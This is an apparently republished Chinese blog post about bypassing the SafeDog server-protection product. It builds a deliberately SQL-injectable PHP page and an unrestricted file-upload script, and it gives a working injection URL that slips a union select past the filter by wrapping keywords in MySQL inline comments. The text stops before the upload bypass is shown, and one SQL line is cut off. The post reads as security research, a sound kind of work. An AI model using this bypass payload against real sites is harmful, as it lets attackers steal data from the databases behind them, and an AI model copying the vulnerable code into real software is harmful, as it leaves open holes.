安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。

二、测试环境

    本次测试环境为

中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72

网站安全狗IIS版3.2.08417

三、SQL注入绕过

    我们先写一个存在SQL注入漏洞的php:

<?
$uid = $_REQUEST['id'];
if(!$conn = @mysql_connect("localhost", "root", "123456"))
die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.');
if(!@mysql_select_db("supe",$conn))
die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
$text = "select * from supe_members where u>
$rs = mysql_query ($text,$conn);
while($rom = mysql_fetch_array($rs))
{
    echo $rom["username"];
}
?>

    我用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:

全方位绕过安全狗

当安装安全狗之后,注入语句会被拦截:

全方位绕过安全狗

    经过测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/**/是不行的,安全狗也防了这块。但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。

用下面语句成功绕过SQL注入过滤:

http://192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

全方位绕过安全狗

有人说只有POST才可以,但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。

四、文件上传绕过

    安全狗的防上传也是做在WEB层,即分析HTTP协议来防止上传,按照yuange说的安全是一个条件语句,这显然是不符合安全规范的,只检查HTTP并不能保证文件系统层上的问题。

    假设有一个上传功能的php:

<?php
  if ($_FILES["file"]["error"] > 0)
    {
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
?>
<html>
<body>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-07-06
  • 2022-02-12
  • 2021-04-17
  • 2021-04-24
  • 2022-12-23
  • 2022-01-08
猜你喜欢
  • 2021-10-17
  • 2021-06-10
  • 2021-06-28
  • 2022-01-06
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案